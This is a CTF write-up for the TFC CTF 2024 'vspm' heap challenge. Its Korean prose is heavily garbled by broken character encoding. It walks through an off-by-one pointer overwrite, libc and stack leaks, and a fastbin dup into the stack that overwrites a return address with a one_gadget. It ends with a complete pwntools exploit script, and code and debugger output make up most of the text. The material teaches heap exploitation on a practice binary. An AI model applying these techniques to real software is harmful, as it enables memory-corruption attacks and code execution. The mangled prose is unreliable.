TFC CTF 2024 - vspm
๋ชฉ์ฐจ
TFC CTF 2024 pwnable challenge ์์ ๊ฐ์ด ๊ตฌ์ฑ๋ ๊ตฌ์กฐ์ฒด๋ฅผ ์ต๋ Exploit์ ์งํํ๊ธฐ์ ์์ ๋ณดํธ๊ธฐ๋ฒ์ ํ์ธํด๋ณด๋ฉด code, stack, libc ๋ชจ๋ ์์ญ์ด ๋ณ๋๋๋ ์ํ์ด๋ค. ๋ฐ๋ผ์ ํ์ฌ ๊ฐ์ง๊ณ ์๋ Heap์์ ํ์ฉํ ์ ์๋ memory leak ํ
ํฌ๋ ์ค unsorted bin์ ์ด์ฉํ ๋ฌธ์ ๋ ํฌ๊ธฐ๊ฐ 0x80 ์ด์์ธ chunk๋ฅผ ๋จผ์ ์ฒ์์๋ ์ด์ ์ด ๊ณผ์ ์์ ๋คํํ 0x100๋ณด๋ค ์์ chunk๋ฅผ ์์ฒญํด๋ unsorted bin์ ๋ถํ ํด์ ํ ๋นํด์ฃผ๊ธฐ ๋๋ฌธ์ ๋์ถฉ 0x30์ง๋ฆฌ chunk๋ฅผ ์์ฒญํ๋ค. ์ด ๋ ์
๋ ฅํ Libc leak์ ์ฑ๊ณตํ์ผ๋ ๋จผ์ ์์ ๋จผ์ ์ payload๋ฅผ ์คํํ๋ฉด Double free ์ทจ์ฝ์ ์ ํธ๋ฆฌ๊ฑฐํ๊ธฐ ์ํด ์ฌ๊ธฐ์์ Fastbin์ ์ด๋ป๊ฒ ์ ์กฐ์ํ๊ฑฐ๋ heap leak์ ํ๋ฉด ๊ฐ๋ฅํ ๊ฒ ๊ฐ๊ธด ํ๋ฐ ํ๋ฅ ์ด ๊ทธ๋ฆฌ ๋ฎ์ง ์์์ ๊ทธ๋ฅ ์งํํ๊ธฐ๋ก ํ๋ค. ์ payload์ ๊ฐ์ด ์ด์ ๋ฐ๋ผ์ ๊ฑฐ๊พธ๋ก fake chunk header๋ฅผ ๊ตฌ์ฑํ ์ ์๋ stack์ ์์น๋ฅผ ์ฐพ์๋ณด์๋๋ฐ, ์ฒ์์๋ ๊ทธ๋ฐ๋ฐ ๋ฌธ์ ๋ 0x70 ํฌ๊ธฐ์ chunk๋ฅผ ํ ๋น๋ฐ์ผ๋ ค๋ฉด ๊ทธ๋์ ๋ค๋ฅธ ์์ญ์ ์ฐพ์์ผํ๋๋ฐ ๋ฌธ์ ๋ ๋ค์ fake chunk header์ธ๋ฐ, ์ฌ๊ธฐ์์ ํธ๋ฆญ์ด ํ๋ ์๋๋ฐ, chunk header๋ ๊ตณ์ด alignment๊ฐ ๋ง์ง ์์๋ ๋๊ธฐ ๋๋ฌธ์ stack ์ฃผ์์ ๊ฐ์ฅ ์์ ๋ฐ์ดํธ๊ฐ 0x7f์ธ ์ ์ ์๊ฐํด์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ค์ ์ถ๋ ฅํด๋ณด์๋ค. ์ด๋ ๊ฒ fake chunk header๋ก ํ์ฉํ ์ ์๋ ์์ญ์ด ์์๋๋ ์ด์ ๋ ํด๋น ์์ญ์ด ํ์ฌ ํจ์์ stack ๋ฐ๋ก ์ ์์ญ์ด๋ผ์ ์ด์จ๊ฑฐ๋ ๋ฐ๋ผ์ ์ดํ 3๋ฒ์งธ 0x00. Introduction
[*] '/home/user/vspm'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.' Structure
struct password {
char *credential;
char name[0x20];
}code_base + 0x4060 ์์ญ์ 10๊ฐ๊น์ง ์ ์ฅํ ์ ์๋ค. 0x01. Vulnerability
unsigned __int64 save_12EE()
{
...
__isoc99_scanf("%d", &len);
getchar();
if ( len >= 0x79 )
{
puts("Sorry, not enough resources!");
exit(0);
}
...
password_4060[i].credential = malloc(len);
printf("Enter credentials: ");
read(0, password_4060[i].credential, (len + 1));
printf("Name of the credentials: ");
read(0, password_4060[i].name, (len + 1));
...
}password๋ฅผ ์ ์ฅํ๋ save()์์ credential์ ์ฌ์ด์ฆ len์ ์
๋ ฅ๋ฐ๊ณ , len + 1๋งํผ read๋ฅผ ํ๋ค. ๊ทธ๋ฐ๋ฐ ๊ณ ์ ๋ ๊ธธ์ด(0x20)์ name๋ len + 1๋งํผ read๋ฅผ ํ๊ธฐ ๋๋ฌธ์ ๋ค์ password ๊ตฌ์กฐ์ฒด์ credential์ overwriteํ ์ ์๋ค.credential์์๋ len + 1๋งํผ ๊ฐ์ ์ธ ์ ์๊ธฐ ๋๋ฌธ์ ๋ค์ chunk์ header ์ฒซ ๋ฐ์ดํธ๋ฅผ overwriteํ ์๋ ์์ง๋ง prev_size๋ฅผ ๋ฐ๊ฟ์ exploit์ผ๋ก ์ด์ด๊ฐ ์์ด๋์ด๊ฐ ๋ ์ค๋ฅด์ง ์์๋ค. 0x02. Exploit
credential overwrite ์ทจ์ฝ์ ์ ๊ฐ์ง๊ณ ์ต์ ํ ์์ญ์ memory leak์ ํด์ผ๊ฒ ๋ค๋ ์๊ฐ์ด ๋ค์๋ค. Libc Leak
main_arena leak์ด ๋ง์ด ์ฌ์ฉ๋๋ค. main_arena๋ libc ์์ญ์ด๊ธฐ ๋๋ฌธ์ offset ๊ณ์ฐ๋ง ํด์ฃผ๋ฉด libc base๋ฅผ ํ๋ํ ์ ์๋ค.free์์ผ์ผ unsorted bin์ ์ถ๊ฐ๋๋๋ฐ ์
๋ ฅํ ์ ์๋ len์ 0x79๊ฐ ์ต๋์ด๋ค. Heap์ chunk๋ค์ด ์ฐจ๋ก๋๋ก ์์ด๊ณ , ์ฃผ์์์ 0xXXXXXXXXXXXXX000 ๋ถ๋ถ๋ง ๋ณ๋๋๋ฏ๋ก fake chunk๋ฅผ ๊ตฌ์ฑํ๊ณ credential overwrite ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ ๋ค์ password ๊ตฌ์กฐ์ฒด์ credential์ด fake chunk๋ฅผ ๊ฐ๋ฆฌํค๊ฒ ํ ์ ์๋ค. payload = p64(0) # fake chunk -> prev_size
payload += p64(0x111) # fake chunk -> size
save(s, 0x30, payload, b"0000")
save(s, 0x30, b"BBBB", b"1111")
save(s, 0x30, b"CCCC", b"2222")
save(s, 0x40, b"DDDD", b"3333")
save(s, 0x30, payload, b"4444")
save(s, 0x60, b"FFFF", b"5555")
save(s, 0x60, b"GGGG", b"6666")0000, 4444, top chunk์ offset ์ฐจ์ด๋ฅผ ๊ณ ๋ คํด์ chunk๋ค์ ๋ฐฐ์นํ๋ค.0000, 4444์ offset ์ฐจ์ด๋ง ๊ณ ๋ คํ๋ฉด ๋๋ ์ค ์์๋๋ฐ, top chunk์๋ offset ์ฐจ์ด๊ฐ ๋ง์์ผ fake chunk์ free๊ฐ ์ฑ๊ณตํ๋ค.# first password structure
gefโค x/5gx 0x555555558060
0x555555558060: 0x000055555555d010 0x0000000030303030
0x555555558070: 0x0000000000000000 0x0000000000000000
0x555555558080: 0x0000000000000000
# first fake chunk header
gefโค x/2gx 0x000055555555d010
0x55555555d010: 0x0000000000000000 0x0000000000000111
# second fake chunk header
gefโค x/2gx 0x000055555555d010 + 0x110
0x55555555d120: 0x0000000000000000 0x0000000000000111
# top chunk
gefโค x/2gx 0x000055555555d010 + 0x220
0x55555555d230: 0x0000000000000000 0x0000000000020dd12222์ credential์ด fake chunk๋ฅผ ๊ฐ๋ฆฌํค๊ฒ ๋ง๋ค๊ธฐ ์ํด ๋ค์๊ณผ ๊ฐ์ด payload๋ฅผ ์์ฑํ๋ค. delete(s, b"1") # free "1111"
save(s, 0x30, b"BBBB", b"1" * 0x20 + b"\x20") # alloc "1111" and overwrite next pointer
delete(s, b"2") # free fake chunk -> unsorted bin1111์ ์ด์ฉํด์ 2222์ credential์ด 0x55555555d020์ ๊ฐ๋ฆฌํค๊ฒ ๋ง๋ค๋ฉด 0x55555555d010์ ๋ฃ์ ๊ฐ์ด chunk header๊ฐ ๋๋ค. ์ด์ 2222๋ฅผ freeํ๋ฉด 0x100์ง๋ฆฌ chunk๋ฅผ freeํ ๊ฒ์ผ๋ก ๋์ด unsorted bin์ผ๋ก ์ด๋ํ๋ค.โโโโโโโโโโโโโโโโโโโโโโโโโโ Unsorted Bin for arena at 0x7ffff7dd0b60 โโโโโโโโโโโโโโโโโโโโโโโโโโ
[+] unsorted_bins[0]: fw=0x55555555d010, bk=0x55555555d010
โ Chunk(addr=0x55555555d020, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.
gefโค x/4gx 0x55555555d010
0x55555555d010: 0x0000000000000000 0x0000000000000111
0x55555555d020: 0x00007ffff7dd0bc0 0x00007ffff7dd0bc0free๋ chunk์ fd, bk์ main_arena ์ฃผ์๊ฐ ์ฐ์ฌ์ง๋ค. ์ดํ malloc์ผ๋ก ํด๋น ์์ญ์ ๋ฐํ๋ฐ์๋ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ด๊ธฐํํ์ง ์๊ธฐ ๋๋ฌธ์ check()๋ฅผ ํตํด leak์ด ๊ฐ๋ฅํ๋ค. save(s, 0x30, b"\xc0", b"2222") # alloc from unsorted bin
r = check(s)
arena = 0x3b4cc0
libc = u64(r.split(b"2222 --> ")[1][:6] + b"\x00\x00") - arena
log.info(f"libc : {hex(libc)}")\xc0์ ๋๋ฒ๊ฑฐ๋ก ํ์ธํ main_arena์ ์ฒซ ๋ฐ์ดํธ์ธ๋ฐ ์ด์ฐจํผ offset์ ๊ณ์ฐํ๋ฉด ๋๊ธฐ ๋๋ฌธ์ ๋ง์ถฐ์ค ํ์๋ ์์ง๋ง ์
๋ ฅ์ ์์ ์ฃผ์ง ์์ ์๋ ์๊ธฐ ๋๋ฌธ์ ๋ง์ถฐ์ฃผ์๋ค. Stack Leak
credential overwrite์ check()๋ฅผ ์ด์ฉํ์ฌ libc์ ๋ชจ๋ ์์ญ์ ์ถ๋ ฅํ ์ ์๋ค. Libc ์์ญ ์ค environ ๋ณ์์ stack ์ฃผ์๊ฐ ์ ์ฅ๋์ด์์ผ๋ฏ๋ก ์ด๋ฅผ ์ด์ฉํด stack leak์ ์งํํ์๋ค. delete(s, b"0")
environ = 0x3b75d8
payload = b"0" * 0x20
payload += p64(libc + environ)
save(s, 0x30, b"AAAA", payload)0000์ freeํ๊ณ 1111์ credential์ด environ์ ๊ฐ๋ฆฌํค๋๋ก overwriteํ๋ค. r = check(s)
stack = u64(r.split(b"1111 --> ")[1][:6] + b"\x00\x00") - 0x110
log.info(f"stack : {hex(stack)}")1111์ด environ์ ๊ฐ๋ฆฌํค๊ณ ์๊ณ check()์์ credential ์ ๋ณด๋ฅผ ์ถ๋ ฅํด์ฃผ๋ ๊ฒ์ ์ด์ฉํด์ environ์ ์ ์ฅ๋ stack ์ฃผ์๋ฅผ ํ๋ํ ์ ์๋ค. Fastbin Dup into Stack
credential overwrite ์ทจ์ฝ์ ์ ์ด์ฉํด์ credential์ด fake chunk๋ฅผ ๊ฐ๋ฆฌํค๊ฒ ํ ๊ฒ๊ณผ ๋น์ทํ๊ฒ ๋ค๋ฅธ credential์ ๊ฐ๋ฆฌํค๊ฒ ํด์ double free ์ทจ์ฝ์ ์ ํธ๋ฆฌ๊ฑฐํ ์ ์๋ค. save(s, 0x60, b"FFFF", b"5555")
save(s, 0x60, b"GGGG", b"6666")
save(s, 0x60, b"HHHH", b"7777")password ๊ตฌ์กฐ์ฒด๋ ๋ค์๊ณผ ๊ฐ์ ๊ฐ์ ๊ฐ์ง๊ฒ ๋๋ค.gefโค
0x555555558128: 0x000055555555d1d0 0x0000000035353535
0x555555558138: 0x0000000000000000 0x0000000000000000
0x555555558148: 0x0000000000000000
gefโค
0x555555558150: 0x000055555555d160 0x0000000036363636
0x555555558160: 0x0000000000000000 0x0000000000000000
0x555555558170: 0x0000000000000000
gefโค
0x555555558178: 0x000055555555d240 0x0000000037373737
0x555555558188: 0x0000000000000000 0x0000000000000000
0x555555558198: 0x00000000000000007777์ 0x55555555d240์ 5555์ 0x55555555d1d0์ผ๋ก ๋ฎ์ด์ผํ๋ค.credential์ ์ฌ์ด์ฆ๊ฐ 0x60์ธ ์ด์ ๋ ํ์ ํ๋๋ก ํ๊ณ , 0x60์ง๋ฆฌ chunk๋ฅผ 3๊ฐ ํ ๋น๋ฐ๋ค๋ณด๋ chunk ์ฃผ์์ ๋ ๋ฒ์งธ ๋ฐ์ดํธ๊ฐ ๋ฌ๋ผ์ง๋ค. 0xd1d0 ์ค 0x1d0์ ๊ณ ์ ์ด๊ณ 0xd000๋ถ๋ถ๋ง ๋ณ๋๋ ๊ฒ์ด๋ฏ๋ก ์ฌ๊ธฐ์์ 1/16 ํ๋ฅ ๋ก exploit์ ์ฑ๊ณตํ๋ค. delete(s, b"6")
save(s, 0x60, b"GGGG", b"6" * 0x20 + b"\xd0\xd1")
delete(s, b"5")
delete(s, b"6")
delete(s, b"7")7777์ credential์ 5555์ credential๊ณผ ์ผ์น์ํค๊ณ 5555, 6666, 7777์์ผ๋ก free๋ฅผ ํ๊ฒ ๋๋ฉด ๋ค์๊ณผ ๊ฐ์ด fastbin์ด ๊ตฌ์ฑ๋๋ค.0x55555555d1d0 -> 0x55555555d160 -> 0x55555555d1d0malloc์ ํตํด 0x60 ์ฌ์ด์ฆ์ chunk๋ฅผ ์์ฒญํ๋ฉด 0x55555555d1d0์ ํ ๋น๋ฐ์ ์ ์๊ณ , ์ฌ๊ธฐ์ stack์ ์ฃผ์๋ฅผ ์ด ๋ค ํด๋น ์ฃผ์ ์์ fake chunk header๋ฅผ ์ธ ์ ์๋ค๋ฉด fastbin list์ ์ถ๊ฐ๋๋ค.save()์ stack์ ํ์ฉํ๋ ค๊ณ ํ๋ค.unsigned __int64 save_12EE()
{
unsigned int len; // [rsp+8h] [rbp-68h] BYREF
int i; // [rsp+Ch] [rbp-64h]
...
}len, i๋ฅผ ์ด์ฉํ์ฌ fake chunk header๋ฅผ ๊ตฌ์ฑํ๋ฉด return address๊น์ง 0x70๋งํผ ์ฐจ์ด๊ฐ ๋๋ฏ๋ก ์ต๋ ํ ๋น ํฌ๊ธฐ์ธ 0x78๋ณด๋ค ์์ ๊ฐ๋ฅํ ๊ฒ ๊ฐ์๋ค.len์ 0x70์ ์
๋ ฅํด์ผ ํ๋๋ฐ, fake chunk header๋ฅผ ๊ตฌ์ฑํ ๋๋ len์ 0x80์ ์
๋ ฅํด์ผ size๊ฐ ๋ง๊ธฐ ๋๋ฌธ์ ๋ชจ์์ด ์๊ธด๋ค.return์ ํด์ ์ข
๋ฃํ๋ ํจ์๊ฐ ์์ด์ ๊ณ ๋ฏผํ๋ค๊ฐ, save()์์ ์์ญ์ ํ ๋น๋ฐ๊ณ read๋ฅผ ํ ๋ read()์ return address๋ฅผ ๋ฎ์ผ๋ฉด ๊ฐ๋ฅํ ๊ฒ ๊ฐ์๋ค.unsigned __int64 save_12EE()
{
...
password_4060[i].credential = malloc(len);
printf("Enter credentials: ");
read(0, password_4060[i].credential, (len + 1));
...
}read()์ return address๋ฅผ ๋ฎ์ ์ ์๋ ์์ญ์ malloc() ์ง์ ์ ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.gefโค x/16gx 0x7fffffffdbd0
0x7fffffffdbd0: 0x0000000000000000 0x0000000000000000
0x7fffffffdbe0: 0x00007fffffffdce0 0x00007ffff7a6dd8e
0x7fffffffdbf0: 0x00007ffff7ff4000 0x0000003000000008
0x7fffffffdc00: 0x00007fffffffdcd0 0x00007fffffffdc10
0x7fffffffdc10: 0x000000000000000a 0x00007fffffffdcd4
0x7fffffffdc20: 0x0000000000000000 0x00007ffff7b030c3
0x7fffffffdc30: 0x0000000000000000 0x00007fffffffdcc0
0x7fffffffdc40: 0x00005555555551a0 0x00005555555553970x7fffffffdbf8์ 0x60์ด ์ ์ฅ๋์ด์์ง๋ง ์ด ๊ฐ์ malloc()์ ์ธ์๋ก ์ ๋ฌ๋ ๊ฐ์ด ๋ด๋ถ ๋ก์ง์ ์คํํ๋ค๊ฐ ์ ์ฅ๋ ๊ฐ์ผ๋ก ์ด์ ์ ๋ชจ์์ด ๋๊ฐ์ด ๋ฐ์ํ๋ค.gefโค x/16gx 0x7fffffffdbd5
0x7fffffffdbd5: 0x0000000000000000 0xffffffdce0000000
0x7fffffffdbe5: 0xfff7a6dd8e00007f 0xfff7ff400000007f
0x7fffffffdbf5: 0x300000000800007f 0xffffffdcd0000000
0x7fffffffdc05: 0xffffffdc1000007f 0x000000000a00007f
0x7fffffffdc15: 0xffffffdcd4000000 0x000000000000007f
0x7fffffffdc25: 0xfff7b030c3000000 0x000000000000007f
0x7fffffffdc35: 0xffffffdcc0000000 0x55555551a000007f
0x7fffffffdc45: 0x5555555397000055 0x555555618f0000550x7fffffffdc15์ 0x7fffffffdc25 ๋ ๊ตฐ๋ฐ๊ฐ ์๋๋ฐ, fd๋ฅผ 0x7fffffffdc15๋ก ์ค์ ํ ๊ฒฝ์ฐ๋ malloc()์ ์คํจํ๊ณ , 0x7fffffffdc25๋ก ์ค์ ํ ๊ฒฝ์ฐ๋ malloc()์ ์ฑ๊ณตํ๋ค.malloc()์ stack ์์ญ๊ณผ ๊ฒน์น๊ฒ ๋๊ณ , malloc() ๋ด๋ถ์ ์ผ๋ก stack์ ์ฌ์ฉํ๋ค๊ฐ 0x7fffffffdc15์ ์ ์ฅ๋ ๊ฐ์ด overwrite๋๋ ๊ฒ์ผ๋ก ์ถ์ ๋๋ค.0x7fffffffdc25๋ฅผ fd๋ก ์ค์ ํ๊ธฐ ์ํด ํ๋ํ stack ์ฃผ์์์ offset์ ๊ณ์ฐํด์ 0x55555555d1d0์ ํ ๋น๋ฐ์ ํ ์
๋ ฅํด์ฃผ๋ฉด fastbin์ ๋ค์๊ณผ ๊ฐ์ด ๊ตฌ์ฑ๋๋ค.0x55555555d160 -> 0x55555555d1d0 -> 0x7fffffffdc35malloc()์์ stack์ ์ฃผ์๊ฐ ๋ฐํ๋๊ณ , offset์ ๊ณ์ฐํด์ read()์ return address๋ฅผ one shot ๊ฐ์ ฏ์ผ๋ก ๋ฎ์ด์ฃผ๋ฉด ๋๋ค. payload = p64(stack - 0xa3)
save(s, 0x60, payload, b"5555")
save(s, 0x60, b"GGGG", b"6666")
save(s, 0x60, payload, b"7777")
delete(s, b"0")
one_gadget = 0xe1fa1
payload = b"A" * 0x13
payload += p64(libc + one_gadget)
save(s, 0x68, payload, b"0000", fin = 1) 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
BINARY = "vspm"
code_base = 0x0000555555554000
bp = {
'save' : code_base + 0x12EE,
'malloc_of_save' : code_base + 0x1414,
'check' : code_base + 0x14ED,
'cred' : code_base + 0x4060,
}
gs = f'''
continue
b *{bp['malloc_of_save']}
'''
context.terminal = ['tmux', 'splitw', '-hf']
def save(s, length, cred, name, fin = 0):
s.sendline(b"1")
s.recvuntil(b"length: ")
s.sendline(str(length).encode())
s.recvuntil(b"credentials: ")
s.send(cred)
if fin:
return
s.recvuntil(b"credentials: ")
s.send(name)
return s.recvuntil(b"Input: ")
def check(s):
s.sendline(b"2")
return s.recvuntil(b"Input: ")
def delete(s, index):
s.sendline(b"3")
s.recvuntil(b"index: ")
s.sendline(index)
return s.recv()
def main(port, debug):
if(port):
s = remote("0.0.0.0", port)
else:
s = process(BINARY)
if debug:
gdb.attach(s, gs)
elf = ELF(BINARY)
log.info(f"cred : {hex(bp['cred'])}")
s.recv()
payload = p64(0) # fake chunk -> prev_size
payload += p64(0x111) # fake chunk -> size
save(s, 0x30, payload, b"0000")
save(s, 0x30, b"BBBB", b"1111")
save(s, 0x30, b"CCCC", b"2222")
save(s, 0x40, b"DDDD", b"3333")
save(s, 0x30, payload, b"4444")
save(s, 0x60, b"FFFF", b"5555")
save(s, 0x60, b"GGGG", b"6666")
# libc leak
delete(s, b"1") # free "1111"
save(s, 0x30, b"BBBB", b"1" * 0x20 + b"\x20") # alloc "1111" and overwrite next pointer
delete(s, b"2") # free fake chunk -> unsorted bin
save(s, 0x30, b"\xc0", b"2222") # alloc from unsorted bin
r = check(s)
arena = 0x3b4cc0
libc = u64(r.split(b"2222 --> ")[1][:6] + b"\x00\x00") - arena
log.info(f"libc : {hex(libc)}")
# flush unsorted bin
save(s, 0x60, b"HHHH", b"7777")
save(s, 0x50, b"IIII", b"8888")
delete(s, b"7")
delete(s, b"8")
# stack leak
delete(s, b"0")
environ = 0x3b75d8
payload = b"0" * 0x20
payload += p64(libc + environ)
save(s, 0x30, b"AAAA", payload)
r = check(s)
stack = u64(r.split(b"1111 --> ")[1][:6] + b"\x00\x00") - 0x110
log.info(f"stack : {hex(stack)}")
# fastbin dup
delete(s, b"5")
delete(s, b"6")
save(s, 0x60, b"FFFF", b"5555")
save(s, 0x60, b"GGGG", b"6666")
save(s, 0x60, b"HHHH", b"7777")
pause()
delete(s, b"6")
save(s, 0x60, b"GGGG", b"6" * 0x20 + b"\xd0\xd1")
delete(s, b"5")
delete(s, b"6")
delete(s, b"7")
payload = p64(stack - 0xa3)
save(s, 0x60, payload, b"5555")
save(s, 0x60, b"GGGG", b"6666")
save(s, 0x60, payload, b"7777")
delete(s, b"0")
one_gadget = 0xe1fa1
payload = b"A" * 0x13
payload += p64(libc + one_gadget)
save(s, 0x68, payload, b"0000", fin = 1)
s.interactive()
if __name__=='__main__':
parser = ArgumentParser()
parser.add_argument('-p', '--port', type=int)
parser.add_argument('-d', '--debug', type=int, default=1)
args = parser.parse_args()
main(args.port, args.debug)